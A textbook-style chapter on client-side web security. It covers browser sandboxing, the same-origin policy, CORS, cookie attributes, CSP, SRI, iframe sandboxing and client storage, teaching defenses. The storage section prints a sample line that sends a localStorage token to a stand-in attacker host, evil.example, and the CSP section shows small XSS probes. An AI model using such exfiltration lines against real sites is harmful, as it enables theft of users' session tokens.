9. Web Security (Client Side)
This chapter covers security as it plays out inside the user's browser, where attacker-controlled content and trusted application code run side by side in the same process. It builds from the browser's own defenses — the same-origin policy, cookies, Content Security Policy, and sandboxing — through the two canonical client-side attack classes, cross-site scripting (XSS) and cross-site request forgery (CSRF), and finishes with the broader family of UI, messaging, and supply-chain attacks. The recurring theme is that the browser executes whatever markup and script a page delivers, so client-side security is the discipline of controlling what runs and on whose authority it acts.
<a id="91-browser-security-mechanisms"></a>
9.1 Browser Security Mechanisms
The browser is not a passive renderer; it is a security boundary that runs untrusted code from every site you visit, often simultaneously. This section covers the mechanisms the browser uses to keep those sites apart and to let a site constrain its own attack surface.
Browser Architecture and Process Sandboxing
Theory
A modern browser is one of the most hostile execution environments in computing: it downloads and runs code — HTML, CSS, JavaScript, images, fonts, video — from arbitrary, mutually distrustful strangers, and it must do so without letting any of them read your files, your other tabs, or each other. The architectural answer is process isolation. Instead of one giant process, the browser splits into a privileged browser (or "main") process that owns the address bar, the network stack, and disk access, and many low-privilege renderer processes that do the dangerous work of parsing HTML and executing JavaScript.
The renderer runs inside a sandbox: an OS-enforced jail that strips away almost every capability. A compromised renderer cannot open files, make arbitrary network connections, or spawn programs; it can only talk to the browser process through a narrow, validated inter-process communication (IPC) channel. Think of it as a bank teller behind bulletproof glass — the customer (web content) can pass notes through a slot (IPC) and ask for things, but cannot reach into the vault directly. This means an attacker who finds a memory-corruption bug in the JavaScript engine has only won half the battle; they must then find a second bug to "escape the sandbox" into the privileged process. Requiring two bugs instead of one is the single biggest reason browsers are as safe as they are.
This design also explains why modern browser exploitation is sold as expensive "exploit chains" rather than single bugs, and why keeping your browser updated matters so much: each patch typically closes one link that an entire chain depended on.
Examples
┌──────────────────────────────────────────┐
│ BROWSER PROCESS (trusted) │
│ address bar · network · disk · profile │
└───────────────▲──────────────▲────────────┘
│ IPC │ IPC (narrow, validated)
┌────────────┴───┐ ┌─────┴──────────┐
│ RENDERER A │ │ RENDERER B │
│ sandboxed │ │ sandboxed │
│ a.example DOM │ │ b.example DOM │
│ JS engine │ │ JS engine │
└────────────────┘ └─────────────────┘
No direct disk / network — only IPC requests upward.
# Chrome shows its live process model; each tab/site may be its own renderer.
# Open the browser's own task manager (Shift+Esc in Chrome) to see them, or:
chrome://process-internals # visit this URL to inspect renderer/site assignment
Key Takeaways
- Browsers run untrusted code from many origins, so they split into a privileged browser process and sandboxed renderer processes.
- The sandbox denies a renderer direct disk, network, and process access; it may only make validated IPC requests to the browser process.
- Compromising a renderer is not enough — an attacker needs a second "sandbox escape" bug, which is why real attacks are multi-bug chains.
- Keeping the browser patched breaks exploit chains, because each fix removes a link the whole chain relied on.
🧪 Practice
- Open your browser's task manager and identify how many separate processes a few open tabs consume; note whether same-site tabs share a process.
- Explain in one paragraph why a bug in the JavaScript engine alone usually cannot steal a file from disk.
- Describe the role of IPC between renderer and browser process, and why it must validate every message.
- Interview-style: "Why do browser vendors describe serious exploits as 'chains' rather than single vulnerabilities?" Hint: think about how many independent security boundaries a payload must cross to go from a web page to your filesystem.
DOM, JavaScript Execution, and Event Model
Theory
When a browser parses HTML, it does not keep the raw text; it builds a live, in-memory tree called the Document Object Model (DOM). Each tag becomes a node, nesting becomes parent/child relationships, and JavaScript manipulates this tree through APIs like document.getElementById or element.innerHTML. The crucial security insight is that the DOM, not the HTML source, is what actually renders and runs. Two different byte streams can produce the same DOM, and one innocuous-looking string can produce an executable <script> node once the parser gets hold of it — which is the entire basis of XSS.
JavaScript runs on a single thread driven by an event loop. Code does not run continuously; it runs in response to events — a page load, a click, a timer firing, a network response arriving. When an event occurs, its registered handler is placed on a queue and executed to completion before the next one begins. Events also propagate through the DOM tree in two phases: capturing (root down to the target) and bubbling (target back up to the root). This propagation is why a single click listener on a parent element can handle clicks on any child, and it is also why an attacker who controls a child node can influence handlers defined higher up.
Understanding the DOM-versus-source distinction and the event model is a prerequisite for everything in this chapter: DOM-based XSS lives entirely in how scripts read and write the tree, clickjacking abuses where events land, and prototype pollution corrupts the objects these scripts rely on.
Examples
<!-- Source HTML the server sent -->
<ul id="list"><li>first</li></ul>
<script>
const ul = document.getElementById('list'); // find the node in the DOM tree
const li = document.createElement('li'); // create a new element node
li.textContent = 'second (safe: text, not HTML)'; // textContent never parses markup
ul.appendChild(li); // attach it; the DOM updates live
// Event delegation: one listener on the parent handles clicks on any <li> child.
ul.addEventListener('click', (e) => {
console.log('clicked:', e.target.textContent); // e.target is the actual <li> hit
});
</script>
Event flow for a click on the inner <li>:
document ──(1) CAPTURING──▶ <ul> ──▶ <li> [target]
document ◀──(2) BUBBLING── <ul> ◀── <li>
A listener on <ul> fires during bubbling even though <li> was clicked.
Key Takeaways
- The browser renders and executes the DOM tree, not the original HTML text; equivalent DOMs can come from very different source strings.
- Assigning
textContentinserts text safely, whileinnerHTMLparses the string as markup and can create executable nodes. - JavaScript is single-threaded and event-driven: handlers run to completion in response to queued events.
- Events capture down then bubble up the tree, enabling delegation — and giving attacker-controlled child nodes influence over ancestor handlers.
🧪 Practice
- Write a snippet that adds a list item two ways — with
textContentand withinnerHTML— and explain which is safe for untrusted data and why.- Attach a click listener to a parent element and log which child was actually clicked using
event.target.- Draw the capturing and bubbling phases for a click on a deeply nested element.
- Interview-style: "Why can two different HTML strings be 'the same page' from a security standpoint?" Hint: the parser normalizes both into one DOM, so defenses that inspect the raw string can miss what actually gets built.
Same-Origin Policy and Origin Definition
Theory
The same-origin policy (SOP) is the foundational rule of web security: script running in one origin may not read data from another origin. Without it, a page you opened from evil.example could silently read your webmail, your bank balance, and your internal corporate apps, because your browser attaches your cookies to those sites automatically. The SOP is the fence that keeps every site in its own yard.
An origin is the triple of scheme, host, and port — for example https://app.example:443. All three must match for two pages to share an origin. https://app.example and http://app.example differ (scheme); https://app.example and https://api.example differ (host); https://app.example:443 and https://app.example:8443 differ (port). A common point of confusion is that the path is irrelevant to origin, while the subdomain is significant: a.example and b.example are different origins even though they share a parent domain.
The SOP is nuanced in practice because it restricts reading, not sending. Your browser will happily send a cross-origin request (loading an image, submitting a form, embedding a script) — it just won't let the initiating page read the cross-origin response unless the other side opts in via CORS. This asymmetry is deliberate and it is exactly what makes CSRF possible (the request is sent with your cookies) while still preventing data theft (the response can't be read). Keeping "send versus read" straight is the key to reasoning about almost every attack in this chapter.
Examples
Base origin: https://app.example:443/dashboard
URL Same origin? Why
https://app.example:443/settings YES path is irrelevant
http://app.example/dashboard NO scheme differs (http vs https)
https://app.example:8443/ NO port differs
https://api.example/dashboard NO host differs
https://sub.app.example/ NO subdomain = different host
// Allowed: SEND a cross-origin request (no cookies-based read of the response).
fetch('https://api.other.example/data') // request goes out...
.then(r => r.text()) // ...but this READ is blocked by SOP
.catch(() => console.log('blocked by same-origin policy unless CORS allows it'));
// Always allowed: embedding cross-origin resources (sent, but not readable as data).
// <img src="https://other.example/pic.png"> loads and renders, script can't read pixels
Key Takeaways
- The same-origin policy stops script in one origin from reading data belonging to another origin.
- An origin is scheme + host + port; all three must match, while the path does not matter and subdomains count as different hosts.
- The SOP restricts reading responses, not sending requests — cross-origin requests still go out with your cookies.
- That "send but not read" asymmetry is simultaneously what enables CSRF and what prevents cross-origin data theft.
🧪 Practice
- Given
https://shop.example:443, classify five URLs as same-origin or not and justify each.- Explain why
http://andhttps://versions of the same host are different origins and what attack this prevents.- Describe one thing the SOP allows cross-origin and one thing it forbids, and connect each to a real attack or defense.
- Interview-style: "If the SOP blocks reading cross-origin responses, how can CSRF do damage at all?" Hint: the attack never needs to read the response — it only needs the authenticated request to be sent.
Cross-Origin Resource Sharing (CORS)
Theory
The same-origin policy is deliberately strict, but modern apps legitimately need to call APIs on other origins — a front-end at app.example talking to an API at api.example. Cross-Origin Resource Sharing (CORS) is the controlled, opt-in mechanism that lets a server say "it is safe for these other origins to read my responses." Crucially, CORS is a relaxation of the SOP decided by the responding server, communicated through response headers, and enforced by the browser. It is not a server-side access control; it does not stop anyone from sending a request, it only governs whether the browser will let the calling script read the response.
For "simple" requests the browser sends the request and then checks the Access-Control-Allow-Origin header on the response; if it doesn't list the caller's origin, the browser throws away the response. For requests that could have side effects or carry unusual headers, the browser first sends a preflight OPTIONS request asking permission, and only proceeds if the server approves the method and headers. When credentials (cookies) are involved, the rules tighten: the server must send Access-Control-Allow-Credentials: true and must not use the wildcard * for the origin.
CORS is one of the most misconfigured features on the web. The classic disaster is reflecting the request's Origin header back into Access-Control-Allow-Origin while also allowing credentials — this effectively allows every origin to read authenticated responses, turning the SOP off for your most sensitive data. A safe CORS policy allows a short, explicit allowlist of origins, never reflects arbitrary origins, and pairs credentialed access with careful review.
Examples
# Browser sends a credentialed cross-origin request; it includes the Origin header:
GET /account HTTP/1.1
Host: api.example
Origin: https://app.example
Cookie: session=...
# SAFE response: explicit origin + credentials allowed (never "*" with credentials).
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example
Access-Control-Allow-Credentials: true
DANGEROUS misconfiguration (do NOT do this):
Access-Control-Allow-Origin: <reflects whatever Origin was sent>
Access-Control-Allow-Credentials: true
=> any attacker site can read the victim's authenticated responses.
Preflight for a non-simple request:
Browser --> OPTIONS /account (Access-Control-Request-Method: PUT)
Server --> 204 Access-Control-Allow-Methods: PUT
Browser --> only now sends the real PUT request
Key Takeaways
- CORS is a server-granted, browser-enforced relaxation of the SOP that controls whether a calling script may read a cross-origin response.
- It does not block requests from being sent and is not a substitute for server-side authorization.
- Non-simple or credentialed requests trigger a preflight
OPTIONScheck that the server must approve. - Reflecting arbitrary origins while allowing credentials is a critical misconfiguration — use an explicit allowlist and never pair
*with credentials.
🧪 Practice
- Write the response headers for an API that should allow only
https://app.exampleto make credentialed reads.- Explain the difference between a "simple" request and one that triggers a preflight, with an example of each.
- Describe exactly why
Access-Control-Allow-Origin: *together withAccess-Control-Allow-Credentials: trueis rejected by browsers.- Interview-style: "A pentester reports that an API reflects the
Originheader and allows credentials. Why is this critical?" Hint: ask what preventsevil.examplefrom scripting an authenticated read of a logged-in victim's data.
Cookie Attributes: HttpOnly, Secure, SameSite
Theory
A session cookie is a bearer token — whoever presents it is treated as the user — so the attributes that govern how it is stored and sent are among the most important security controls in a web app. Three attributes do the heavy lifting. HttpOnly hides the cookie from JavaScript (document.cookie can't see it), so even if an attacker achieves XSS, they cannot simply read and exfiltrate the session cookie. Secure forbids the browser from ever sending the cookie over plain HTTP, preventing it from leaking to a network eavesdropper on an accidental http:// link.
SameSite is the structural defense against CSRF. It tells the browser whether to attach the cookie to requests that originate from other sites. SameSite=Strict never sends the cookie on any cross-site request (strongest, but breaks following links into your logged-in site). SameSite=Lax (the modern default in major browsers) sends it only on top-level navigations using safe methods like clicking a link, but not on cross-site POSTs or background requests — which blocks the most common CSRF shapes. SameSite=None sends it on all cross-site requests and must be paired with Secure; it is required for legitimate cross-site cookies but reopens the CSRF door, so it demands additional protection.
The mental model: HttpOnly limits the damage of XSS, Secure limits the damage of network exposure, and SameSite limits the damage of cross-site request forgery. They are independent and should generally all be set on session cookies. Relying on browser defaults is risky because defaults vary and change over time; set them explicitly.
Examples
# A well-configured session cookie sets all three protective attributes:
Set-Cookie: session=9f8a...e1; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
# └ value └ hidden from JS
# └ HTTPS only
# └ not sent on cross-site POST (CSRF defense)
| Attribute | Attack it blunts | Effect |
|---|---|---|
HttpOnly | XSS cookie theft | JavaScript cannot read the cookie |
Secure | Network sniffing | Cookie sent only over HTTPS |
SameSite=Lax/Strict | CSRF | Cookie withheld on cross-site requests |
SameSite=None | (enables cross-site use) | Must be Secure; needs extra CSRF defense |
// With HttpOnly set, an XSS payload still cannot read the session cookie:
console.log(document.cookie); // session cookie is simply absent from this string
Key Takeaways
- A session cookie is a bearer token, so its attributes are core security controls, not optional tuning.
HttpOnlyblocks JavaScript (and thus XSS) from reading the cookie;Secureblocks it from traveling over plain HTTP.SameSitecontrols cross-site sending:Lax(default) stops most CSRF,Strictis stronger but breaks inbound links,Nonemust beSecureand needs extra CSRF defense.- Set these attributes explicitly on every session cookie rather than trusting browser defaults.
🧪 Practice
- Write a
Set-Cookieheader for a session that resists XSS theft, plaintext leakage, and basic CSRF.- Explain the behavioral difference between
SameSite=StrictandSameSite=Laxwith a concrete user action for each.- Describe a legitimate case that needs
SameSite=Noneand what extra defense you would add.- Interview-style: "Does
HttpOnlyprevent XSS?" Hint: distinguish stopping the vulnerability from limiting one specific consequence of it.
Cookie Scoping, Domains, and Paths
Theory
Beyond the protective flags, cookies have scoping attributes that decide which requests carry them — and getting scope wrong can expose a cookie far more widely than intended. The Domain attribute controls the host scope. If you omit it, the cookie is host-only: sent only to the exact host that set it. If you set Domain=example.com, the cookie becomes valid for example.com and all its subdomains (app.example.com, blog.example.com, and so on). This is the opposite of most people's intuition — specifying a domain broadens rather than narrows the scope.
The Path attribute scopes by URL path: Path=/admin means the cookie is sent only for requests under /admin. Importantly, path scoping is not a real security boundary, because same-origin pages can read each other's DOM regardless of path, so a script at /public can often reach cookies set at /admin within the same origin. Path should be treated as a routing convenience, not isolation.
The dangerous pattern is overly broad domain scope on a shared parent domain. If sensitive apps live on sibling subdomains (bank.example.com, blog.example.com) and a session cookie is scoped to .example.com, then a vulnerability on the low-value blog subdomain can leak or set the high-value bank session cookie — a "cookie tossing" or subdomain-takeover risk. The defense is to scope cookies as narrowly as possible (host-only by default) and to use the __Host- prefix, which the browser enforces to mean "host-only, Secure, Path=/, no Domain," guaranteeing the cookie can't be scoped broadly or set by a subdomain.
Examples
# Host-only (safest default): sent ONLY to exactly app.example.com
Set-Cookie: sid=abc; Secure; HttpOnly; SameSite=Lax; Path=/
# Broadened to all subdomains — sent to app., blog., anything under example.com
Set-Cookie: sid=abc; Domain=example.com; Secure; HttpOnly
# Hardened with a browser-enforced prefix: must be host-only, Secure, Path=/
Set-Cookie: __Host-sid=abc; Secure; HttpOnly; SameSite=Lax; Path=/
Domain scoping is counterintuitive:
(no Domain attr) -> host-only: app.example.com ONLY
Domain=example.com -> app.example.com, blog.example.com, *.example.com
Risk: blog.example.com is compromised and the session cookie is .example.com-scoped
=> the attacker can read/overwrite the cookie that bank.example.com relies on.
Key Takeaways
- Omitting
Domainmakes a cookie host-only (narrowest); settingDomain=example.combroadens it to every subdomain. Pathis a routing convenience, not a security boundary — same-origin script can usually reach cookies across paths.- Broad domain scope on a shared parent lets a weak subdomain compromise a strong one (cookie tossing / subdomain takeover).
- Prefer host-only cookies and the
__Host-prefix, which the browser enforces to prevent broad or subdomain-set scoping.
🧪 Practice
- Explain why
Domain=example.comis broader, not narrower, than omitting theDomainattribute.- Describe a scenario where a vulnerable subdomain compromises a sensitive sibling via cookie scope, and how
__Host-prevents it.- State why
Pathshould not be relied on to isolate cookies between two sections of the same origin.- Interview-style: "When would you choose the
__Host-prefix over just settingSecureandHttpOnly?" Hint: think about guarantees the browser enforces versus attributes a developer merely hopes are set correctly.
Content Security Policy Directives
Theory
If the same-origin policy is the fence between sites, Content Security Policy (CSP) is a fence a site builds around itself to limit the damage of a successful injection. It is an HTTP response header (or <meta> tag) that tells the browser, in fine detail, which sources of script, style, images, frames, and connections are allowed to load and execute. The core idea is defense in depth: even if an attacker manages to inject markup, a good CSP can prevent that markup from actually running a script or exfiltrating data, turning a critical XSS into a non-event.
CSP works through directives, each governing a resource type. script-src is the most important — it controls where scripts may come from. default-src is the fallback for directives you don't specify. img-src, style-src, connect-src (for fetch/XHR/WebSocket), frame-src, and frame-ancestors (who may frame you, a clickjacking defense) round out the common set. The classic weak policy allows 'unsafe-inline', which permits inline <script> blocks and defeats CSP's main benefit. The robust approach uses a per-response random nonce (script-src 'nonce-RANDOM') or a hash so only the site's own, explicitly-marked scripts run, plus 'strict-dynamic' to let those trusted scripts load their dependencies.
CSP is powerful but fiddly: it is easy to write a policy that looks strict but contains a bypass (an allowlisted CDN that hosts a vulnerable library, a reachable JSONP endpoint, or 'unsafe-eval'). It is best deployed incrementally using Content-Security-Policy-Report-Only, which reports violations without blocking, so you can tighten the policy against real traffic before enforcing it.
Examples
# Strong, nonce-based policy: only scripts carrying this request's nonce execute.
Content-Security-Policy:
default-src 'self';
script-src 'nonce-r4nd0m2024' 'strict-dynamic';
object-src 'none';
base-uri 'none';
frame-ancestors 'none'; # also prevents this page being framed (clickjacking)
<!-- Only a script tagged with the matching nonce runs under the policy above -->
<script nonce="r4nd0m2024">initApp();</script> <!-- runs -->
<script>stealCookies();</script> <!-- blocked: no nonce -->
<img src="x" onerror="alert(1)"> <!-- blocked: inline handler -->
| Directive | Governs | Common hardening |
|---|---|---|
script-src | Where scripts load/run | Nonces/hashes, avoid 'unsafe-inline' |
default-src | Fallback for unset types | Set to 'self' or 'none' |
connect-src | fetch/XHR/WebSocket targets | Restrict exfiltration endpoints |
frame-ancestors | Who may frame this page | 'none' or trusted origins (anti-clickjacking) |
object-src | Plugins/embeds | 'none' |
Key Takeaways
- CSP is a site-defined, browser-enforced allowlist that limits where scripts and other resources may load, providing defense in depth against XSS.
script-srcis the key directive;'unsafe-inline'largely defeats CSP, while per-response nonces or hashes plus'strict-dynamic'are the robust pattern.frame-ancestorsdoubles as a clickjacking defense by controlling who can embed the page.- Roll CSP out with
Report-Onlyfirst, and watch for bypasses via allowlisted-but-vulnerable hosts, JSONP, or'unsafe-eval'.
🧪 Practice
- Write a CSP that permits only the site's own scripts (via nonce) and blocks inline event handlers and plugins.
- Explain why
'unsafe-inline'inscript-srcundermines most of CSP's value.- Describe how you would deploy a new CSP to a live site without breaking it.
- Interview-style: "An app has a strict CSP but still suffers XSS. Name two ways a policy can be bypassed." Hint: think about trusted-but-dangerous hosts on the allowlist and script-gadget endpoints like JSONP.
Subresource Integrity
Theory
Websites routinely load scripts and stylesheets from third-party servers — a CDN hosting jQuery, an analytics vendor, a font provider. This is convenient but creates a trust problem: you are executing whatever bytes that third party serves, and if the CDN is compromised or the vendor turns malicious, your users run their code with full access to your page. Subresource Integrity (SRI) solves this by letting you pin the exact content you expect. You compute a cryptographic hash of the known-good file and put it in an integrity attribute; the browser downloads the resource, hashes it, and refuses to execute it if the hash does not match.
The analogy is a tamper-evident seal on a shipment: you don't have to trust the courier, because you can verify the seal matches what the sender told you to expect. If anyone altered the file in transit or at the source, the hash diverges and the browser blocks it. This converts a "trust the CDN forever" relationship into "trust this exact version," which is a dramatically smaller attack surface.
SRI has limits worth understanding. It only works for resources whose content you can pin — it is unsuitable for endpoints that legitimately change on every request (like many analytics or ad scripts), which is one reason supply-chain attacks via such scripts remain hard to fully prevent. It is typically paired with crossorigin="anonymous" so the browser can read the response for hashing, and it should be combined with CSP's require-sri-for style controls where supported. SRI protects integrity, not confidentiality, and does not help if the legitimate pinned version is itself malicious.
Examples
<!-- Pin an exact version of a CDN script by its SHA-384 hash. -->
<script
src="https://cdn.example/lib@1.2.3/lib.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"> <!-- lets the browser fetch+hash the cross-origin file -->
</script>
<!-- If the CDN serves even one changed byte, the hash mismatches and the browser
refuses to run the script, neutralizing a CDN-compromise supply-chain attack. -->
# Generate the integrity value for a file you control/trust:
cat lib.min.js | openssl dgst -sha384 -binary | openssl base64 -A
# Prefix the output with "sha384-" and paste into the integrity attribute.
Key Takeaways
- SRI pins a third-party resource to a cryptographic hash, so the browser refuses to run it if the bytes differ from what you expect.
- It converts open-ended "trust the CDN" into "trust this exact version," shrinking supply-chain risk.
- Use
crossorigin="anonymous"with cross-origin SRI, and prefer SHA-384/512 hashes. - SRI cannot protect resources that legitimately change each load, and does not help if the pinned version is itself malicious.
🧪 Practice
- Generate an SRI hash for a local JavaScript file and add the correct
integrityandcrossoriginattributes to a script tag.- Explain what the browser does, step by step, when an SRI-protected file's hash does not match.
- Describe one category of third-party script for which SRI is impractical and why.
- Interview-style: "How does SRI defend against a compromised CDN, and what attack does it not defend against?" Hint: it verifies content equals the pinned version — think about what happens if that very version is backdoored at the source before you pin it.
iframe Sandboxing and X-Frame-Options
Theory
An <iframe> embeds one page inside another, and by default the embedded page runs with its normal capabilities. Two separate concerns arise. First, you may want to embed untrusted content (an ad, a user-submitted widget) while stripping its dangerous powers — that is what the sandbox attribute does. Second, others may want to embed your page to trick your users (clickjacking) — and you defend against that with X-Frame-Options or, better, CSP's frame-ancestors.
The sandbox attribute applies a restrictive default to the framed content: with a bare <iframe sandbox> the content cannot run scripts, submit forms, access its parent, use plugins, or be treated as its own origin. You then selectively re-grant capabilities with tokens like allow-scripts, allow-forms, or allow-same-origin. A critical footgun: combining allow-scripts and allow-same-origin on content from your own origin lets the framed page script its way out of the sandbox entirely, so those two together are effectively no sandbox at all for same-origin content.
On the defensive side, X-Frame-Options: DENY forbids your page from being framed anywhere, and SAMEORIGIN permits only same-origin framing — the classic clickjacking defense. The modern replacement is Content-Security-Policy: frame-ancestors 'none' (or an explicit origin list), which is more expressive and supports multiple allowed framers. Pages that handle sensitive actions (transfers, permission grants, admin operations) should set one of these so an attacker cannot invisibly overlay them under a decoy UI.
Examples
<!-- Embed untrusted content with almost no powers, re-granting only scripting. -->
<iframe src="https://widget.vendor.example/w"
sandbox="allow-scripts"> <!-- NO allow-same-origin: stays isolated -->
</iframe>
<!-- DANGEROUS for same-origin content: these two together defeat the sandbox. -->
<iframe src="/my/widget" sandbox="allow-scripts allow-same-origin"></iframe>
# Defend YOUR page from being framed by others (clickjacking):
X-Frame-Options: DENY
# Modern, preferred equivalent (and more flexible):
Content-Security-Policy: frame-ancestors 'none'
| Goal | Mechanism |
|---|---|
| Neuter untrusted embedded content | <iframe sandbox="...">, re-grant minimally |
| Stop others framing your page | X-Frame-Options or frame-ancestors |
| Allow only same-origin framing | X-Frame-Options: SAMEORIGIN / frame-ancestors 'self' |
Key Takeaways
sandboxapplies a deny-by-default policy to framed content; you re-grant capabilities explicitly withallow-*tokens.- Combining
allow-scriptswithallow-same-originon same-origin content lets the frame escape the sandbox — avoid it. X-Frame-Options(DENY/SAMEORIGIN) and CSPframe-ancestorscontrol who may frame your page, defeating clickjacking.- Sensitive, state-changing pages should always restrict who can frame them.
🧪 Practice
- Write an
<iframe>tag that embeds a third-party widget which may run scripts but cannot access its parent or act as your origin.- Explain why
allow-scripts allow-same-origintogether can nullify the sandbox for same-origin content.- Compare
X-Frame-Optionsandframe-ancestorsand state when you would prefer the latter.- Interview-style: "Which header protects a page from being clickjacked, and why is the CSP version preferred?" Hint: think about supporting multiple allowed framing origins, which the older header cannot express.
Referrer Policy and Permissions Policy
Theory
Two response-controlled policies let a site limit information leakage and feature abuse. Referrer Policy governs the Referer header — the URL the browser automatically attaches to outgoing requests to say "I came from here." That header is useful for analytics but routinely leaks sensitive data: full URLs often contain session tokens, password-reset tokens, internal hostnames, or search queries, and by default these can leak to third-party sites you link to or load resources from. Referrer-Policy lets you cut this down — for example strict-origin-when-cross-origin (a sensible default) sends the full URL to same-origin destinations but only the bare origin cross-origin, and no-referrer sends nothing at all.
Permissions Policy (formerly "Feature Policy") controls which powerful browser features a page — and the frames it embeds — may use: camera, microphone, geolocation, fullscreen, autoplay, payment, and more. The point is least privilege for capabilities: if your page never needs the camera, you can disable it outright, so that even a successful injection or a malicious embedded iframe cannot prompt the user for camera access. It is delivered via the Permissions-Policy response header with per-feature allowlists, and it can delegate or deny features to iframes specifically, which is important when embedding third-party content.
Together these policies reduce two different risks: Referrer Policy reduces data exfiltration through a side channel you forgot about, and Permissions Policy reduces capability abuse by your own compromised page or by the content you embed. Both are cheap to set and are part of a well-hardened response-header baseline.
Examples
# Don't leak full URLs (which may carry tokens) to other origins:
Referrer-Policy: strict-origin-when-cross-origin
# same-origin request -> full URL in Referer
# cross-origin request -> only "https://app.example" (no path/query)
# Disable powerful features the app doesn't need; deny camera entirely, geo to self only:
Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()
Why Referrer Policy matters:
Page URL: https://app.example/reset?token=SECRET123
User clicks a link to https://analytics.thirdparty.example
Default-ish behavior could send Referer: https://app.example/reset?token=SECRET123
strict-origin-when-cross-origin sends only: https://app.example
Key Takeaways
Referrer-Policycontrols how much of the originating URL leaks in theRefererheader; full URLs can contain tokens and secrets.strict-origin-when-cross-originis a strong default;no-referrersends nothing when maximum privacy is needed.Permissions-Policyenforces least privilege on powerful features (camera, mic, geolocation, payment) for the page and its iframes.- Both are low-cost response headers that shrink side-channel leakage and capability abuse.
🧪 Practice
- Set a
Referrer-Policythat keeps full URLs internal but reveals only the origin to third parties, and explain each behavior.- Give a concrete example of a secret leaking via the
Refererheader and how a policy prevents it.- Write a
Permissions-Policythat disables the microphone and camera but allows geolocation for the site itself.- Interview-style: "Why might a password-reset page specifically want
Referrer-Policy: no-referrer?" Hint: consider what is in the URL and where the user might click next.
Site Isolation and Cross-Origin Isolation Headers
Theory
Transient-execution attacks like Spectre showed that a renderer process could, in principle, read any data that happens to share its address space — defeating software checks like the same-origin policy at the hardware level. The architectural response is Site Isolation: the browser guarantees that documents from different sites live in different OS processes, so one site's data is simply never in the same memory as another's, and a Spectre-style read has nothing cross-origin to steal. Site Isolation is now on by default in major browsers and is why the renderer process model from earlier in this section is organized by site.
Some powerful features — high-resolution timers, SharedArrayBuffer — were restricted after Spectre because they make such attacks easier. To use them again, a page must prove it is in a clean, cross-origin isolated context by sending two headers. Cross-Origin-Opener-Policy: same-origin (COOP) severs the scripting relationship with cross-origin windows that opened or were opened by the page, and Cross-Origin-Embedder-Policy: require-corp (COEP) requires every subresource to explicitly opt into being embedded. When both are present, the browser places the page in its own isolated process group and re-enables the gated features.
Related opt-in headers let individual resources state who may load them: Cross-Origin-Resource-Policy (CORP) lets a response say "only same-origin/same-site/cross-origin may embed me," defending against speculative cross-origin reads of your resources. The practical takeaway for an application developer: you get Site Isolation for free, but if you need the powerful isolated features, you must deliberately adopt COOP+COEP, and you should set CORP on sensitive endpoints to limit who can pull them into another page.
Examples
# Opt into a cross-origin isolated context (re-enables SharedArrayBuffer, precise timers):
Cross-Origin-Opener-Policy: same-origin # cut ties with cross-origin windows
Cross-Origin-Embedder-Policy: require-corp # every subresource must opt in
# Protect a sensitive resource from being pulled into other sites:
Cross-Origin-Resource-Policy: same-origin
// You can check at runtime whether the isolation (and gated APIs) is active:
if (self.crossOriginIsolated) {
const buf = new SharedArrayBuffer(1024); // allowed only in an isolated context
} else {
console.log('Not cross-origin isolated: powerful timers/SAB are restricted');
}
Key Takeaways
- Site Isolation puts different sites in different processes so Spectre-style reads have no cross-origin data to steal; it is on by default.
- Powerful features gated after Spectre (precise timers,
SharedArrayBuffer) require a cross-origin isolated context. - That context is achieved by sending COOP
same-originand COEPrequire-corptogether. - CORP lets individual resources declare who may embed them, limiting speculative cross-origin reads.
🧪 Practice
- Explain in plain terms how Site Isolation defends against a Spectre-style cross-origin read.
- List the two headers required for cross-origin isolation and what each one does.
- Describe a feature you cannot use without cross-origin isolation and how you would check for it in JavaScript.
- Interview-style: "Why were high-resolution timers restricted after Spectre, and how does a page earn them back?" Hint: timers help measure the microarchitectural side channel; the page must prove no cross-origin data shares its process.
Local Storage, Session Storage, and IndexedDB Risks
Theory
Browsers offer several client-side storage mechanisms beyond cookies: localStorage (key-value strings, persists until explicitly cleared), sessionStorage (same API but cleared when the tab closes), and IndexedDB (a full asynchronous object database for larger structured data). They are convenient for caching, offline apps, and client state — but they carry security implications that developers frequently get wrong, especially around storing authentication material.
The cardinal rule: do not store session tokens or other secrets in localStorage. Unlike an HttpOnly cookie, anything in Web Storage is fully readable by JavaScript, which means a single XSS bug hands the attacker the token instantly — localStorage.getItem('token') and exfiltrate. Cookies with HttpOnly at least keep the token out of script's reach. People often move tokens to localStorage to "avoid CSRF," trading a well-mitigated risk (CSRF, which has strong structural defenses) for a worse one (total token theft on any XSS). All Web Storage is also origin-scoped but not path-scoped and persists across sessions (for localStorage), so it is a durable target.
There are further pitfalls: Web Storage is shared across all tabs and scripts on the origin, including any third-party script you include, so a compromised analytics library can read everything there. IndexedDB can hold large volumes of sensitive data (cached PII, draft documents) that lingers on shared machines. The guidance: keep secrets out of client storage, store only non-sensitive or already-public data, treat anything stored as readable by any script on the page, and clear sensitive caches on logout.
Examples
// ANTI-PATTERN: a session token in localStorage is one XSS away from theft.
localStorage.setItem('auth_token', jwt); // readable by ANY script on the origin
// An injected payload simply does:
fetch('https://evil.example/c?t=' + localStorage.getItem('auth_token')); // exfiltrated
// BETTER: keep the token in an HttpOnly, Secure cookie the server sets; JS can't read it.
| Mechanism | Lifetime | Readable by JS? | Good for | Never store |
|---|---|---|---|---|
localStorage | Until cleared | Yes | UI prefs, non-secret cache | Tokens, secrets |
sessionStorage | Until tab closes | Yes | Per-tab transient state | Tokens, secrets |
IndexedDB | Until cleared | Yes | Large offline/structured data | Unencrypted PII/secrets |
HttpOnly cookie | Server-controlled | No | Session tokens | (appropriate home for tokens) |
Key Takeaways
- All Web Storage (
localStorage,sessionStorage, IndexedDB) is fully readable by any JavaScript on the origin, so XSS reads it instantly. - Never store session tokens or secrets in Web Storage; prefer
HttpOnlycookies that script cannot read. - Moving tokens to
localStorageto dodge CSRF trades a well-defended risk for a far worse XSS exposure. - Treat anything stored client-side as visible to every script (including third-party libraries) and clear sensitive data on logout.
🧪 Practice
- Explain why an
HttpOnlycookie is safer thanlocalStoragefor a session token in the presence of XSS.- Write the one-line exfiltration an attacker would run if a JWT were kept in
localStorage.- Argue for or against the common claim that
localStoragetokens are "safer because they avoid CSRF."- Interview-style: "A team stores JWTs in
localStorageciting CSRF concerns. What is your advice?" Hint: weigh CSRF's strong structural defenses against the total token loss any XSS would cause.
